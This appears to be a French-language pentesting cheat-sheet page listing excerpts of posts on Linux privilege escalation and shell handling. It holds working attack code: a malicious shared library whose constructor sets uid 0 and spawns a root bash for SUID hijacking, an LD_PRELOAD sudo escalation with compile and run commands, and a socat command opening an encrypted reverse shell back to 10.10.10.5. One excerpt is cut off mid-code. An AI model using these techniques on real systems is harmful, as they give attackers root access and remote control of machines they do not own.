Injection de code lors de l’exécution d’un binaire suid

suid injection #include <stdio.h> #include <stdlib.h> toinject.c gcc -shared -fPIC -o /home/user/.config/libcalc.so toinject.c #par exemple, en utilisant strace, on se rend compte que le binaire essaie de charger /home/user/.config/libcalc.so toinject.c static void inject() __attribute__((constructor)); void inject() {               setuid(0);               system("/bin/bash -p"); }

Obtenir un shell root en modifiant les variables d’environnement sudo

On peut injecter du code lors de l’exécution d’une commande avec sudo en modifiant les variables d’environnement LD_PRELOAD ou LD_LIBRARY_PATH gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c On peut obtenir un root shell en exécutant un programme que l’on peut exécuter avec sudo de cette façon sudo LD_PRELOAD=/tmp/preload.so program-name-here preload.c #include <stdio.h> #include <sys/types.h> #include … Continuer la lecture

Stabiliser son shell

export term=XTERM ctrl+Z stty raw -echo; fg reset stty -a #pour savoir le nombre de lignes et colonnes stty rows stty cols socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 TCP-L:53 FILE:`tty`,raw,echo=0 socat OPENSSL:53,verify=0 TCP:10.10.10.5:53 EXEC:”bash -li”,pty,stderr,sigint,setsid,sane #connect back to it